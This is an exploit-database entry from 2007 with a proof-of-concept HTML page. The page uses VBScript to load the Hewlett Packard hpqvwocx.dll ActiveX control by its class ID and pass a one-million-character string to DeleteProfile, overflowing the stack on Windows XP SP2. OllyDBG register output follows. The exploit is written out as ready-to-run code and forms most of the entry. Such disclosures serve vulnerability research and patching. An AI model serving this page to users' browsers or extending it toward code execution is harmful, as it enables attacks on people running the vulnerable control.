Hewlett Packard 1.0.0.309 hpqvwocx.dll ActiveX Magview Overflow PoC

🗓️ 12 May 2007 00:00:00Reported by RootType

Hewlett Packard ActiveX Magview Overflow PoC v1.0.0.309 Windows XP SP


                                                &lt;html&gt;

&lt;head&gt;

&nbsp;&lt;title&gt;

&nbsp;&nbsp;Proof&nbsp;of&nbsp;Concept&nbsp;-&gt;&nbsp;Hewlett&nbsp;Packard&nbsp;Stack&nbsp;Overflow&nbsp;in&nbsp;hpqvwocx.dll&nbsp;v1.0.0.309

&nbsp;&lt;/title&gt;

&lt;/head&gt;

&nbsp;

&lt;h4&gt;Proof&nbsp;of&nbsp;Concept&nbsp;-&gt;&nbsp;Hewlett&nbsp;Packard&nbsp;Stack&nbsp;Overflow&nbsp;in&nbsp;hpqvwocx.dll&nbsp;v1.0.0.309&lt;br&gt;

Tested&nbsp;in&nbsp;Windows&nbsp;XP&nbsp;Service&nbsp;Pack&nbsp;2&lt;br&gt;

Discovered&nbsp;by&nbsp;Goodfellas&nbsp;Security&nbsp;Research&nbsp;Team&lt;br&gt;

Url&nbsp;-&gt;http://www.hp.com&lt;br&gt;&nbsp;author&nbsp;-&gt;&nbsp;callAX&lt;br&gt;mail&nbsp;-&gt;&nbsp;[email protected]&lt;br&gt;

http://www.shellcode.com.ar&nbsp;/&nbsp;http://www.securenetworks.ch&lt;/h4&gt;

&nbsp;

&lt;object&nbsp;classid='clsid:BA726BF9-ED2F-461B-9447-CD5C7D66CE8D'&nbsp;id='pAF'&nbsp;&gt;&lt;/object&gt;

&nbsp;

&lt;input&nbsp;type=&quot;button&quot;&nbsp;value=&quot;Boom&quot;&nbsp;language=&quot;VBScript&quot;&nbsp;OnClick=&quot;OuCh()&quot;&gt;

&nbsp;

&lt;script&nbsp;language=&quot;VBScript&quot;&gt;

&nbsp;

sub&nbsp;OuCh()

&nbsp;

&nbsp;Var_0&nbsp;=&nbsp;String(1000000,&nbsp;&quot;A&quot;)

&nbsp;

&nbsp;pAF.DeleteProfile&nbsp;Var_0

&nbsp;

End&nbsp;Sub

&nbsp;

&nbsp;

&lt;/script&gt;

&nbsp;

&lt;/html&gt;

&nbsp;

&lt;!--

&nbsp;

Tested&nbsp;in&nbsp;OllyDBG&nbsp;1.08b

&nbsp;

TEST&nbsp;DWORD&nbsp;PTR&nbsp;DS:[ECX],EAX

&nbsp;

EAX&nbsp;-&gt;&nbsp;000ED484

ECX&nbsp;-&gt;&nbsp;000425F4

EDX&nbsp;-&gt;&nbsp;00000000

EBX&nbsp;-&gt;&nbsp;00000000

EIP&nbsp;&nbsp;-&gt;&nbsp;04B47B97

&nbsp;

Sub&nbsp;DeleteProfile&nbsp;(

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByVal&nbsp;Name&nbsp;&nbsp;As&nbsp;String

)

&nbsp;

--&gt;

12 May 2007 00:00Current

7.1High risk

Vulners AI Score7.1